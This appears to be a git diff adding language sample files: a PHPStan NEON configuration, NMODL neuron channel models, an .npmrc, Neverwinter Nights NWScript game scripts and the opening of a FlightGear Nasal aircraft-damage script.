+		- PHP_CONFIG_FILE_SCAN_DIR
+		- PHP_SHLIB_SUFFIX
+		- PHP_FD_SETSIZE
+
+extensions:
+	rules: PHPStan\DependencyInjection\RulesExtension
+	conditionalTags: PHPStan\DependencyInjection\ConditionalTagsExtension
+	parametersSchema: PHPStan\DependencyInjection\ParametersSchemaExtension
+
+parametersSchema:
+	bootstrap: schema(string(), nullable())
+	excludes_analyse: listOf(string())
+	autoload_directories: listOf(string())
+	autoload_files: listOf(string())
+	level: schema(anyOf(int(), string()), nullable())
+	paths: listOf(string())
+	featureToggles: structure([
+		disableRobotLoader: bool(),
+		staticReflectionForPhpParser: bool(),
+		disableRuntimeReflectionProvider: bool(),
+		enableScanningPaths: bool(),
+		closureUsesThis: bool(),
+		randomIntParameters: bool(),
+		nullCoalesce: bool()
+	])
+	fileExtensions: listOf(string())
+	checkAlwaysTrueCheckTypeFunctionCall: bool()
+	checkAlwaysTrueInstanceof: bool()
+	reportStaticMethodSignatures: bool()
+	parallel: structure([
+		jobSize: int(),
+		processTimeout: float(),
+		maximumNumberOfProcesses: int(),
+		minimumNumberOfJobsPerProcess: int(),
+		buffer: int()
+	])
+	polluteScopeWithLoopInitialAssignments: bool()
+	polluteScopeWithAlwaysIterableForeach: bool()
+	polluteCatchScopeWithTryAssignments: bool()
+	treatPhpDocTypesAsCertain: bool()
+	reportMagicMethods: bool()
+	reportMagicProperties: bool()
+	ignoreErrors: listOf(
+		anyOf(
+			string(),
+			structure([
+				message: string()
+				path: string()
+			]),
+			structure([
+				message: string()
+				count: int()
+				path: string()
+			]),
+			structure([
+				message: string()
+				paths: listOf(string())
+			])
+		)
+	)
+	internalErrorsCountLimit: int()
+	cache: structure([
+		nodesByFileCountMax: int()
+		nodesByStringCountMax: int()
+	])
+	reportUnmatchedIgnoredErrors: bool()
+	scopeClass: string()
+	typeAliases: arrayOf(string())
+	universalObjectCratesClasses: listOf(string())
+	stubFiles: listOf(string())
+	earlyTerminatingMethodCalls: arrayOf(listOf(string()))
+	earlyTerminatingFunctionCalls: listOf(string())
+	rootDir: string()
+	tmpDir: string()
+	currentWorkingDirectory: string()
+	cliArgumentsVariablesRegistered: bool()
+	mixinExcludeClasses: listOf(string())
+
+	# irrelevant Nette parameters
+	debugMode: bool()
+	productionMode: bool()
+	tempDir: string()
+
+	# internal parameters only for DerivativeContainerFactory
+	additionalConfigFiles: listOf(string())
+	allCustomConfigFiles: listOf(string())
+	analysedPaths: listOf(string())
+	composerAutoloaderProjectPaths: listOf(string())
+	analysedPathsFromConfig: listOf(string())
+	usedLevel: string()
+	cliAutoloadFile: schema(string(), nullable())
+
+services:
+	-
+		class: PhpParser\BuilderFactory
+
+	-
+		class: PhpParser\Lexer\Emulative
+
+	-
+		class: PhpParser\NodeTraverser
+		setup:
+			- addVisitor(@PhpParser\NodeVisitor\NameResolver)
+
+	-
+		class: PhpParser\NodeVisitor\NameResolver
+
+	-
+		class: PhpParser\Parser\Php7
+
+	-
+		class: PhpParser\PrettyPrinter\Standard
+
+	-
+		class: PHPStan\Broker\AnonymousClassNameHelper
+		arguments:
+			relativePathHelper: @simpleRelativePathHelper
+
+	-
+		class: PHPStan\PhpDocParser\Lexer\Lexer
+
+	-
+		class: PHPStan\PhpDoc\TypeAlias\TypeAliasesTypeNodeResolverExtension
+		arguments:
+			aliases: %typeAliases%
+		tags:
+			- phpstan.phpDoc.typeNodeResolverExtension
+
+	-
+		class: PHPStan\PhpDoc\TypeNodeResolver
+
+	-
+		class: PHPStan\PhpDoc\TypeNodeResolverExtensionRegistryProvider
+		factory: PHPStan\PhpDoc\LazyTypeNodeResolverExtensionRegistryProvider
+
+	-
+		class: PHPStan\PhpDoc\TypeStringResolver
+
+	-
+		class: PHPStan\PhpDoc\StubValidator
+		arguments:
+			stubFiles: %stubFiles%
+
+	-
+		class: PHPStan\Analyser\Analyser
+		arguments:
+			internalErrorsCountLimit: %internalErrorsCountLimit%
+
+	-
+		class: PHPStan\Analyser\FileAnalyser
+		arguments:
+			reportUnmatchedIgnoredErrors: %reportUnmatchedIgnoredErrors%
+
+	-
+		class: PHPStan\Analyser\IgnoredErrorHelper
+		arguments:
+			ignoreErrors: %ignoreErrors%
+			reportUnmatchedIgnoredErrors: %reportUnmatchedIgnoredErrors%
+
+	-
+		class: PHPStan\Analyser\LazyScopeFactory
+		arguments:
+			scopeClass: %scopeClass%
+		autowired:
+			- PHPStan\Analyser\ScopeFactory
+
+	-
+		class: PHPStan\Analyser\NodeScopeResolver
+		arguments:
+			polluteScopeWithLoopInitialAssignments: %polluteScopeWithLoopInitialAssignments%
+			polluteCatchScopeWithTryAssignments: %polluteCatchScopeWithTryAssignments%
+			polluteScopeWithAlwaysIterableForeach: %polluteScopeWithAlwaysIterableForeach%
+			earlyTerminatingMethodCalls: %earlyTerminatingMethodCalls%
+			earlyTerminatingFunctionCalls: %earlyTerminatingFunctionCalls%
+
+	-
+		class: PHPStan\Analyser\ResultCache\ResultCacheManager
+		arguments:
+			cacheFilePath: %tmpDir%/resultCache.php
+			allCustomConfigFiles: %allCustomConfigFiles%
+			analysedPaths: %analysedPaths%
+			composerAutoloaderProjectPaths: %composerAutoloaderProjectPaths%
+			stubFiles: %stubFiles%
+			usedLevel: %usedLevel%
+			cliAutoloadFile: %cliAutoloadFile%
+
+	-
+		class: PHPStan\DependencyInjection\DerivativeContainerFactory
+		arguments:
+			currentWorkingDirectory: %currentWorkingDirectory%
+			tempDirectory: %tempDir%
+			additionalConfigFiles: %additionalConfigFiles%
+			analysedPaths: %analysedPaths%
+			composerAutoloaderProjectPaths: %composerAutoloaderProjectPaths%
+			analysedPathsFromConfig: %analysedPathsFromConfig%
+			allCustomConfigFiles: %allCustomConfigFiles%
+			usedLevel: %usedLevel%
+
+	-
+		class: PHPStan\Parallel\Scheduler
+		arguments:
+			jobSize: %parallel.jobSize%
+			maximumNumberOfProcesses: %parallel.maximumNumberOfProcesses%
+			minimumNumberOfJobsPerProcess: %parallel.minimumNumberOfJobsPerProcess%
+
+	-
+		class: PHPStan\Parser\CachedParser
+		arguments:
+			originalParser: @directParser
+			cachedNodesByFileCountMax: %cache.nodesByFileCountMax%
+			cachedNodesByStringCountMax: %cache.nodesByStringCountMax%
+
+	-
+		class: PHPStan\Reflection\Mixin\MixinPropertiesClassReflectionExtension
+		tags:
+			- phpstan.broker.propertiesClassReflectionExtension
+		arguments:
+			mixinExcludeClasses: %mixinExcludeClasses%
+
+	-
+		class: PHPStan\Reflection\Php\PhpClassReflectionExtension
+		arguments:
+			inferPrivatePropertyTypeFromConstructor: %inferPrivatePropertyTypeFromConstructor%
+			universalObjectCratesClasses: %universalObjectCratesClasses%
+
+	-
+		class: PHPStan\Reflection\PhpDefect\PhpDefectClassReflectionExtension
+
+	-
+		implement: PHPStan\Reflection\Php\PhpMethodReflectionFactory
+
+	-
+		class: PHPStan\Reflection\Php\UniversalObjectCratesClassReflectionExtension
+		tags:
+			- phpstan.broker.propertiesClassReflectionExtension
+		arguments:
+			classes: %universalObjectCratesClasses%
+
+	-
+		class: PHPStan\Rules\FunctionCallParametersCheck
+		arguments:
+			checkArgumentTypes: %checkFunctionArgumentTypes%
+			checkArgumentsPassedByReference: %checkArgumentsPassedByReference%
+			checkExtraArguments: %checkExtraArguments%
+			checkMissingTypehints: %checkMissingTypehints%
+
+	-
+		class: PHPStan\Rules\FunctionDefinitionCheck
+		arguments:
+			checkClassCaseSensitivity: %checkClassCaseSensitivity%
+			checkThisOnly: %checkThisOnly%
+
+	typeSpecifier:
+		class: PHPStan\Analyser\TypeSpecifier
+		factory: @typeSpecifierFactory::create
+
+	typeSpecifierFactory:
+		class: PHPStan\Analyser\TypeSpecifierFactory
+
+	relativePathHelper:
+		class: PHPStan\File\RelativePathHelper
+		factory: PHPStan\File\FuzzyRelativePathHelper
+		arguments:
+			currentWorkingDirectory: %currentWorkingDirectory%
+			analysedPaths: %analysedPaths%
+
+	simpleRelativePathHelper:
+		class: PHPStan\File\RelativePathHelper
+		factory: PHPStan\File\SimpleRelativePathHelper
+		arguments:
+			currentWorkingDirectory: %currentWorkingDirectory%
+		autowired: false
+
+	broker:
+		class: PHPStan\Broker\Broker
+		factory: @brokerFactory::create
+		autowired:
+			- PHPStan\Broker\Broker
+
+	brokerFactory:
+		class: PHPStan\Broker\BrokerFactory
+
+	cacheStorage:
+		class: PHPStan\Cache\FileCacheStorage
+		arguments:
+			directory: %tmpDir%/cache/PHPStan
+		autowired: no
+
+	directParser:
+		class: PHPStan\Parser\DirectParser
+		autowired: no
+
+	phpParserDecorator:
+		class: PHPStan\Parser\PhpParserDecorator
+		arguments:
+			wrappedParser: @PHPStan\Parser\Parser
+		autowired: no
+
+	registry:
+		class: PHPStan\Rules\Registry
+		factory: @PHPStan\Rules\RegistryFactory::create
+
+	stubPhpDocProvider:
+		class: PHPStan\PhpDoc\StubPhpDocProvider
+		arguments:
+			stubFiles: %stubFiles%
+
+	# Reflection providers
+
+	reflectionProviderFactory:
+		class: PHPStan\Reflection\ReflectionProvider\ReflectionProviderFactory
+		arguments:
+			runtimeReflectionProvider: @runtimeReflectionProvider
+			parser: @phpParserDecorator
+			phpParserReflectionProvider: @phpParserReflectionProvider
+			enableStaticReflectionForPhpParser: %featureToggles.staticReflectionForPhpParser%
+			disableRuntimeReflectionProvider: %featureToggles.disableRuntimeReflectionProvider%
+
+	reflectionProvider:
+		factory: @PHPStan\Reflection\ReflectionProvider\ReflectionProviderFactory::create
+		autowired:
+			- PHPStan\Reflection\ReflectionProvider
+
+	phpParserReflectionProvider:
+		class: PHPStan\Reflection\ReflectionProvider\ClassWhitelistReflectionProvider
+		arguments:
+			reflectionProvider: @betterReflectionProvider
+			patterns: %staticReflectionClassNamePatterns%
+		autowired: false
+
+	regexParser:
+		class: Hoa\Compiler\Llk\Parser
+		factory: Hoa\Compiler\Llk\Llk::load(@regexGrammarStream)
+
+	regexGrammarStream:
+		class: Hoa\File\Read
+		arguments:
+			streamName: 'hoa://Library/Regex/Grammar.pp'
+
+	runtimeReflectionProvider:
+		class: PHPStan\Reflection\Runtime\RuntimeReflectionProvider
+		autowired: false
+
+	-
+		class: PHPStan\Reflection\BetterReflection\BetterReflectionSourceLocatorFactory
+		arguments:
+			parser: @phpParserDecorator
+			autoloadDirectories: %autoload_directories%
+			autoloadFiles: %autoload_files%
+			analysedPaths: %analysedPaths%
+			composerAutoloaderProjectPaths: %composerAutoloaderProjectPaths%
+			analysedPathsFromConfig: %analysedPathsFromConfig%
+			enableScanningPaths: %featureToggles.enableScanningPaths%
+
+	-
+		implement: PHPStan\Reflection\BetterReflection\BetterReflectionProviderFactory
+
+	# Error formatters
+
+	errorFormatter.raw:
+		class: PHPStan\Command\ErrorFormatter\RawErrorFormatter
+
+	errorFormatter.baselineNeon:
+		class: PHPStan\Command\ErrorFormatter\BaselineNeonErrorFormatter
+		arguments:
+			relativePathHelper: @simpleRelativePathHelper
+
+	errorFormatter.table:
+		class: PHPStan\Command\ErrorFormatter\TableErrorFormatter
+		arguments:
+			showTipsOfTheDay: %tipsOfTheDay%
+
+	errorFormatter.checkstyle:
+		class: PHPStan\Command\ErrorFormatter\CheckstyleErrorFormatter
+		arguments:
+			relativePathHelper: @simpleRelativePathHelper
+
+	errorFormatter.json:
+		class: PHPStan\Command\ErrorFormatter\JsonErrorFormatter
+		arguments:
+			pretty: false
+
+	errorFormatter.junit:
+		class: PHPStan\Command\ErrorFormatter\JunitErrorFormatter
+		arguments:
+			relativePathHelper: @simpleRelativePathHelper
+
+	errorFormatter.prettyJson:
+		class: PHPStan\Command\ErrorFormatter\JsonErrorFormatter
+		arguments:
+			pretty: true
+
+	errorFormatter.gitlab:
+		class: PHPStan\Command\ErrorFormatter\GitlabErrorFormatter
+		arguments:
+			relativePathHelper: @simpleRelativePathHelper
diff --git a/samples/NEON/example.neon b/samples/NEON/example.neon
new file mode 100644
index 0000000000..0234755da8
--- /dev/null
+++ b/samples/NEON/example.neon
@@ -0,0 +1,12 @@
+php:
+    date.timezone: Europe/Prague
+    zlib.output_compression: true
+
+database:
+    driver: mysql
+    username: root
+    password: beruska92
+
+users: [
+    Dave, Kryten, Rimmer
+]
diff --git a/samples/NMODL/fornetcon.mod b/samples/NMODL/fornetcon.mod
new file mode 100644
index 0000000000..e911a617d7
--- /dev/null
+++ b/samples/NMODL/fornetcon.mod
@@ -0,0 +1,40 @@
+: Each NetCon maintains a count of external events.
+: And time of last external event
+: On each internal event all connecting NetCon get the internal event count.
+: And time of last external event
+
+NEURON {
+  POINT_PROCESS ForNetConTest
+  RANGE tbegin
+}
+
+UNITS {
+}
+
+PARAMETER {
+  tbegin = 0 (ms)
+}
+
+INITIAL {
+  net_send(tbegin, 1)
+}
+
+NET_RECEIVE(w, npre, tpre (ms), npost, tpost (ms)) {
+  INITIAL {
+    npre=0  tpre=-1  npost=0  tpost=-1
+  }
+
+  if (flag == 0) { : external (pre) event
+    npre = npre + 1
+    tpre = t
+  }
+
+  if (flag == 1) { : internal (post) event
+    FOR_NETCONS(w, fnpre, ftpre (ms), fnpost, ftpost (ms)) {
+      fnpost = fnpost + 1
+      ftpost = t
+    }
+    net_send(3, 1) : in 3 ms another 1 event
+    net_event(t)
+  }
+}
diff --git a/samples/NMODL/k3st.mod b/samples/NMODL/k3st.mod
new file mode 100644
index 0000000000..f39ec95cd7
--- /dev/null
+++ b/samples/NMODL/k3st.mod
@@ -0,0 +1,62 @@
+: Three state kinetic scheme for HH-like potassium channel
+: Steady-state v-dependent state transitions have been fit
+: Needs v-dependent time constants from tables created under hoc
+NEURON {
+    SUFFIX k3st
+    USEION k READ ek WRITE ik
+    RANGE g, gbar
+    RANGE tau1_rec, tau2_rec
+}
+UNITS { (mV) = (millivolt) }
+PARAMETER {
+    gbar = 33 (millimho/cm2)
+    d1 = -38 (mV)
+    k1 = 0.151 (/mV)
+    d2 = -25 (mV)
+    k2 = 0.044 (/mV)
+}
+
+ASSIGNED {
+    v     (mV)
+    ek    (mV)
+    g     (millimho/cm2)
+    ik    (milliamp/cm2)
+    kf1 (/ms)
+    kb1 (/ms)
+    kf2 (/ms)
+    kb2 (/ms)
+    tau1_rec
+    tau2_rec
+}
+
+STATE { c1 c2 o }
+
+BREAKPOINT {
+    SOLVE kin METHOD sparse
+    g = gbar*o
+    ik = g*(v - ek)*(1e-3)
+}
+
+INITIAL { SOLVE kin STEADYSTATE sparse }
+
+KINETIC kin {
+    rates(v)
+    ~ c1 <-> c2 (kf1, kb1)
+    ~ c2 <-> o (kf2, kb2)
+    CONSERVE c1 + c2 + o = 1
+}
+
+FUNCTION_TABLE tau1(v(mV)) (ms)
+FUNCTION_TABLE tau2(v(mV)) (ms)
+
+PROCEDURE rates(v(millivolt)) {
+    LOCAL K1, K2
+    K1 = exp(k2*(d2 - v) - k1*(d1 - v))
+    kf1 = K1/(tau1(v)*(1+K1))
+    kb1 = 1/(tau1(v)*(1+K1))
+    K2 = exp(-k2*(d2 - v))
+    kf2 = K2/(tau2(v)*(1+K2))
+    kb2 = 1/(tau2(v)*(1+K2))
+    tau1_rec = tau1(v)
+    tau2_rec = tau2(v)
+}
diff --git a/samples/NPM Config/filenames/.npmrc b/samples/NPM Config/filenames/.npmrc
new file mode 100644
index 0000000000..2ac3abf0d3
--- /dev/null
+++ b/samples/NPM Config/filenames/.npmrc	
@@ -0,0 +1,26 @@
+cache          = ~/.cache/npm
+bin-links      = false
+engine-strict  = true
+if-present     = true
+logs-max       = 1
+message        = "Release v%s"
+
+; Prefer existing installs
+link           = true
+optional       = false
+prefer-offline = true
+
+; Tell NPM to pull its head in
+package-lock   = false
+save           = false
+
+; Improve CLI output
+depth          = 0
+heading        = "│"
+long           = true
+parseable      = true
+unicode        = true
+usage          = true
+
+; Authentication tokens, defined in environment
+//registry.npmjs.org/:_authToken=${NPM_TOKEN}
diff --git a/samples/NWScript/act_disarmkobold.nss b/samples/NWScript/act_disarmkobold.nss
new file mode 100644
index 0000000000..a1c234ce47
--- /dev/null
+++ b/samples/NWScript/act_disarmkobold.nss
@@ -0,0 +1,48 @@
+//::///////////////////////////////////////////////
+//:: Filename act_disarmkobold (OnDisarm Trigger script)
+//:: act_disarmkobold.nss (PC disarms the kobold's tangle trap)
+//:: Scripted With: Script Editor (Written Manually)
+//:: Created On: 7/07/2004 5:55:24 PM, by John Gardner
+//:://////////////////////////////////////////////
+/*[OnDisarm] Any character seen disarming the trap rigged on the tribe's chest
+arouse the kobold's anger, who attack the supposed thief breaking into their
+belongings. Award a 5 XP gain for disarming a very easy trap, and adjust
+reputation by -100%
+
+UPDATE July 13th- Kobolds won't attack player if Shaman's been charmed or
+subject to a "Scare" spell during dialogue.
+Update 29/07/2004 5:46:41 PM- Fixed an unusual loophole where kobolds attack PC
+if trap's disarmed at a distance (via "Find Traps"). Kobolds will only attack the
+player if they see him/her within a certain distance of their belongings (as they
+won't realize the figure in the distance was the one who caused their trap to
+be disarmed).*/
+#include "nw_o2_coninclude"
+#include "nw_i0_generic"
+void main()
+{object oShaman = GetObjectByTag("q9k_shamancrragtail");
+ object oTrappedChest = GetObjectByTag("q9a_strongboxdirty");
+ if (GetDistanceBetween(oTrappedChest, GetLastDisarmed()) < 10.0)
+ {GiveXPToCreature(GetLastDisarmed(), 5);
+ //If Shaman's charmed, he won't be angered by having the PC disarm his trapped chest
+ if (GetLocalInt(oShaman, "Charmed") == 1 || GetLocalInt(oShaman, "Scared") != 1
+ && GetLocalInt(oShaman, "CrragtailSpokenCharmedLine") != 1)
+ {string szCharmLine = "Yip! You take Crragtail clan's belongings... You be trustworthy friend, yip!";
+ AssignCommand(oShaman, SpeakString(szCharmLine, TALKVOLUME_TALK));
+ SetLocalInt(oShaman, "CrragtailSpokenCharmedLine", 1);}
+ //Similarly, if he's been terrified into submission, he's not going to dare attack the PC
+ else if (GetLocalInt(oShaman, "Charmed") != 1 || GetLocalInt(oShaman, "Scared") == 1
+ && GetLocalInt(oShaman, "CrragtailSpokenScaredLine") != 1)
+ {string szScareLine = "*whimper* P-please, take shinies, j-just not hurts poor Crragtail... *snivvel*";
+ AssignCommand(oShaman, SpeakString(szScareLine, TALKVOLUME_TALK));
+ SetLocalInt(oShaman, "CrragtailSpokenScaredLine", 1);}
+ //Otherwise, the kobolds aren't going to take kindly to having somebody dismantle their trapwork...
+ else if (GetLocalInt(oShaman, "Charmed") != 1 && GetLocalInt(oShaman, "Scared") != 1)
+ {ShoutDisturbed();
+ AdjustReputation(GetLastDisarmed(), oTrappedChest, -100);
+ object oTribeFaction = GetObjectByTag("q9k_tribehealer");
+ object oKobold = GetFirstFactionMember(oTribeFaction, FALSE);
+ object oPC = GetNearestCreature(CREATURE_TYPE_PLAYER_CHAR, PLAYER_CHAR_IS_PC, oKobold, 1);
+ while (GetIsObjectValid(oKobold) == TRUE)
+ {AssignCommand(oKobold, ActionAttack(oPC, FALSE));
+ oKobold = GetNextFactionMember(oKobold, FALSE);}}
+}}
diff --git a/samples/NWScript/act_unlockkobold.nss b/samples/NWScript/act_unlockkobold.nss
new file mode 100644
index 0000000000..98ceeeabe1
--- /dev/null
+++ b/samples/NWScript/act_unlockkobold.nss
@@ -0,0 +1,41 @@
+//::///////////////////////////////////////////////
+//:: Filename act_unlockkobold (OnUnlocked Placable Script)
+//:: act_unlockkobold.nss (PC unlocks the Kobold's treasure chest)
+//:: Scripted With: Script Editor (Written Manually)
+//:: Created On: 7/07/2004 5:58:52 PM, by John Gardner
+//:://////////////////////////////////////////////
+/*[OnUnlock] Should the tribe notice anybody who tries unlocking their treasure
+chest, they'll promptly attack in rage. Award a minor XP gain, and set a
+local variable on this chest that ensures this script only awards XP once.
+
+UPDATE 2/09/2004 5:19:11 PM- Added functions that determine if the last person to
+unlock the chest was a player-character or not. While this sounds like a pretty useless
+addition, a player's "Knock" spell isn't considered a player-controlled character's action
+for the purposes of an OnUnlock script... and the kobolds aren't open-minded enough
+to realize the faint clicking sounds from their strongbox were the player's magic secretely
+unlocking it. They *will* however attack anybody who tries pilfering their belongings.*/
+#include "nw_o2_coninclude"
+#include "nw_i0_generic"
+void main()
+{//Declare major variables
+ object oShaman = GetObjectByTag("q9k_shamancrragtail");
+ object oPC = GetLastUnlocked();
+ object oChest = OBJECT_SELF;
+ //Only award XP if whoever unlocked chest was a PC. This prevents giving XP from casting Knock spells
+ if (GetIsPC(oPC) == TRUE && GetLocalInt(OBJECT_SELF, "HasBeenUnlocked") == 0)
+ {GiveXPToCreature(oPC, 10);
+  SetLocalInt(OBJECT_SELF, "HasBeenUnlocked", 1);}
+
+ if (GetIsPC(oPC) == TRUE && (GetLocalInt(oShaman, "Charmed") != 1 || GetLocalInt(oShaman, "Scared") != 1))
+ {ShoutDisturbed();
+ AdjustReputation(GetLastUnlocked(), OBJECT_SELF, -100);
+ object oTribeFaction = GetObjectByTag("q9k_tribehealer");
+ object oKobold = GetFirstFactionMember(oTribeFaction, FALSE);
+ object oPC = GetNearestCreature(CREATURE_TYPE_PLAYER_CHAR, PLAYER_CHAR_IS_PC, oKobold, 1);
+ AssignCommand(oShaman, ClearAllActions(FALSE)); //Kick Crragtail off his throne before fighting
+ while (GetIsObjectValid(oKobold) == TRUE)
+ {AssignCommand(oKobold, ActionAttack(oPC, FALSE));
+ oKobold = GetNextFactionMember(oKobold, FALSE);}
+ AssignCommand(oShaman, RespondToShout(oChest, CLEAR_X0_INC_HENAI_RespondToShout1, oPC));
+ }
+}
diff --git a/samples/NWScript/crawler_death.nss b/samples/NWScript/crawler_death.nss
new file mode 100644
index 0000000000..91e5252027
--- /dev/null
+++ b/samples/NWScript/crawler_death.nss
@@ -0,0 +1,32 @@
+//::///////////////////////////////////////////////
+//:: Filename crawler_death (OnDeath Creature Script)
+//:: crawler_death.nss (Apply "Freeze Animation" VFX; add custom tokens)
+//:: Created On: 5/02/2004 4:38:37 PM, by John Gardner
+//:: Scripted With: Script Editor (Written Manually)
+//:://////////////////////////////////////////////
+/*Because the carrion crawler model included in Chaeolwyn's HAK lacked
+a proper death animation, this script was designed to rectify that
+problem. The carrion crawler would continue to spasm inexorably,
+until its corpse was searched and the blood taken. As it seems, I lack
+any sort of modelling/animation skill, so actually *editing* the MDL file
+was futile for me, let alone fixing the animation bug.
+
+UPDATE 5/07/2004 7:36:23 PM- Added a function to set a variable upon
+Quallo for purpose of conversation, so the line "Move aside so I can kill
+this crawler, etc..." only shows up if the player *hasn't* killed the
+carrion crawler.
+
+UPDATE 3/09/2004 4:24:11 PM- After having come a milestone in my understanding of
+gmax, I've *just* learned enough to know how to configure animations; so the crawler's
+dying/dead animations have been fixed to be more appropriate. That means the "Frozen
+animation" effect is no longer needed (Don't get me wrong, though. I STILL suck bad
+at modelling... I'm wondering myself how I managed it successfully ^-~;)*/
+void main()
+{effect eVFXAnimFreeze = EffectVisualEffect(VFX_DUR_FREEZE_ANIMATION);
+effect eVFXGreenSlime = EffectVisualEffect(VFX_COM_BLOOD_LRG_GREEN, FALSE);
+ApplyEffectToObject(DURATION_TYPE_INSTANT, eVFXGreenSlime, OBJECT_SELF);
+AssignCommand(OBJECT_SELF, PlaySound("c_spider_dead"));
+object oQuallo = GetObjectByTag("x7_quallo");
+SetLocalInt(oQuallo, "HasPCKilledCrawler", 1);
+SetCustomToken(398, "knew");
+SetCustomToken(399, "(he glances remorsefully at the carrion crawler's corpse spawled on the floor).");}
diff --git a/samples/NWScript/e2pc_plaguestack.nss b/samples/NWScript/e2pc_plaguestack.nss
new file mode 100644
index 0000000000..4d331a5058
--- /dev/null
+++ b/samples/NWScript/e2pc_plaguestack.nss
@@ -0,0 +1,15 @@
+//::///////////////////////////////////////////////
+//:: Filename e2pc_plaguestack (OnEnter Encounter Script)
+//:: e2pc_plaguestack.nss (PC encounters the stacked piles of bodies)
+//:: Scripted with: Script Editor (Written Manually)
+//:: Created On: 6/07/2004 2:40:13 PM, by John Gardner
+//::///////////////////////////////////////////////
+/*[OnEnter Script]: Upon entering the encounter area, send a floating text
+message to the entering character describing what they see, and set a local
+variable specifying that the PC's seen the stacked, plague-withered bodies
+(used in Animal Empathy dialogue with rats/bats).*/
+void main()
+{object oPC = GetEnteringObject();
+if (GetLocalInt(oPC, "HasPCSeenPlaguebodies") != 1)
+{FloatingTextStringOnCreature("Piles of withered corpses lay sprawled about, each having atrophied from some mysterious epidemic", oPC, FALSE);
+SetLocalInt(oPC, "HasPCSeenPlaguebodies", 1);}}
diff --git a/samples/NWScript/e3pc_spidersnest.nss b/samples/NWScript/e3pc_spidersnest.nss
new file mode 100644
index 0000000000..fab98d7377
--- /dev/null
+++ b/samples/NWScript/e3pc_spidersnest.nss
@@ -0,0 +1,26 @@
+//::///////////////////////////////////////////////
+//:: Filename e3pc_spidersnest (OnEnter Encounter Script)
+//:: e3pc_spidersnest.nss (PC disturbs Spider's Nest)
+//:: Initially scripted with: Lilac Soul's NWN Script Generator v1.6
+//:: Created on 26/3/2004 6:14:33 PM, by John Gardner
+//::///////////////////////////////////////////////
+/*When the player disturbs the spider's nest, a brood of three spiders
+will drop to the floor, accompanied by a non-magical Web effect (as the
+spiders drop their tangled webbing to immobolise their quarry). Directly
+before the encounter begins, a brief text message will appear, describing
+the PC noticing faint movement overhead.
+
+Note: As the Web-like effect is non-magical, recipients are not permitted
+Spell resistance checks (although states such as "Freedom of Movement" and
+Reflex saves apply normally)*/
+void main()
+{object oPC = GetEnteringObject();
+int nOneShot = GetLocalInt(OBJECT_SELF, "q9x_spidernest_active");
+if (GetLocalInt(OBJECT_SELF, "q9x_spidernest_active") == 1 && GetIsPC(oPC) == TRUE)
+{object oActionSubject = GetObjectByTag("q9s_spiderweb_trig");
+effect eAOEWeb = EffectAreaOfEffect(AOE_PER_WEB);
+effect eSpiderweb = ExtraordinaryEffect(eAOEWeb);
+location lLocation = GetLocation(GetObjectByTag("q9a_spiderweb_trigger"));
+SendMessageToPC(oPC, "You briefly notice a vague movement writhing amidst the shadows overhead... before a brood of spiders drop from the rafters!");
+ApplyEffectAtLocation(DURATION_TYPE_TEMPORARY, eSpiderweb, lLocation, 24.0);
+SetLocalInt(OBJECT_SELF, "q9x_spidernest_active", 0);}}
diff --git a/samples/NWScript/illusion_spawn.nss b/samples/NWScript/illusion_spawn.nss
new file mode 100644
index 0000000000..185c1c2138
--- /dev/null
+++ b/samples/NWScript/illusion_spawn.nss
@@ -0,0 +1,16 @@
+//::///////////////////////////////////////////////
+//:: Filename illusion_spawn (OnSpawn Creature Script)
+//:: illusion_spawn.nss (Default spawn script for Phantasmal Image)
+//:: Initially Scripted With: Lilac Soul's NWN Script Generator v1.6
+//:: Created On: 4/02/2004 09:15:19 AM, by John Gardner
+//:://///////////////////////////////////////////
+/*[OnSpawn Script] When spawning in during the cutscene, the Phantasmal
+Image will appear "kneeling down", so that it appears as if Lilarcor's
+rising slowly from the sewer's waters. After the PC takes the blade,
+have the Phantasm removed from the module.*/
+void main()
+{//Spawn in using a CutsceneInvisibility effect, removed when Lilarcor reaches the pre-defined waypoint
+ApplyEffectToObject(DURATION_TYPE_PERMANENT, EffectVisualEffect(VFX_DUR_CUTSCENE_INVISIBILITY), OBJECT_SELF);
+AssignCommand(OBJECT_SELF, ActionPlayAnimation(ANIMATION_LOOPING_SIT_CROSS, 1.0, 2.0));
+DelayCommand(3.8, DestroyObject(OBJECT_SELF));}
+
diff --git a/samples/Nasal/damage.nas b/samples/Nasal/damage.nas
new file mode 100644
index 0000000000..8db661705c
--- /dev/null
+++ b/samples/Nasal/damage.nas
@@ -0,0 +1,1269 @@
+#
+# License: GPL 2.0
+#
+# Install: Include this code into an aircraft to make it damagable. (remember to add it to the -set file)
+#          for damage to be recognised, the property /payload/armament/msg must be 1
+#
+# Authors: Nikolai V. Chr., Pinto and Richard (with improvement by Onox)
+#
+#
+
+
+############################ Config ########################################################################################
+var full_damage_dist_m = 1.25;# Can vary from aircraft to aircraft depending on how many failure modes it has.
+                           # Many modes (like Viggen) ought to have lower number like zero.
+                           # Few modes (like F-14) ought to have larger number such as 3.
+                           # For assets this should be average radius of the asset.
+var use_hitpoints_instead_of_failure_modes_bool = 0;# mainly used by assets that don't have failure modes.
+var hp_max = 80;# given a direct hit, how much pounds of warhead is needed to kill. Only used if hitpoints is enabled.
+var hitable_by_air_munitions = 1;   # if anti-air can do damage
+var hitable_by_cannon = 1;          # if cannon can do damage
+#var hitable_by_ground_munitions = 1;# if anti-ground/marine can do damage
+var is_fleet = 0;  # Is really 7 ships, 3 of which has offensive missiles.
+var rwr_to_screen=0; # for aircraft that do not yet have proper RWR
+var tacview_supported=1; # For aircraft with tacview support
+var m28_auto=0; # only used by automats
+var mlw_max=2.25; # 
+var auto_flare_caller = 0; # If damage.nas should detect flare releases, or if function is called from somewhere in aircraft
+############################################################################################################################
+
+var TRUE  = 1;
+var FALSE = 0;
+
+var hp = hp_max;
+setprop("sam/damage", math.max(0,100*hp/hp_max));#used in HUD
+
+var shells = {
+    # [id,damage,(name)]
+    #
+    # 0.20 means a direct hit will disable 20% of the failure modes on average.
+    # or, 0.20 also means a direct hit can do 20 hitpoints damage.
+    #
+    "M70 rocket":        [0,0.250], #135mm
+    "S-5 rocket":        [1,0.200], # 55mm
+    "M55 shell":         [2,0.100], # 30mm
+    "KCA shell":         [3,0.100], # 30mm
+    "GSh-30":            [4,0.100], # 30mm mig29/su27
+    "GAU-8/A":           [5,0.100], # 30mm
+    "Mk3Z":              [6,0.100], # 30mm Jaguar
+    "BK27":              [7,0.070], # 27mm
+    "GSh-23":            [8,0.065], # 23mm
+    "M61A1 shell":       [9,0.050], # 20mm F14, F15, F16
+    "50 BMG":            [10,0.015], # 12.7mm (non-explosive)    
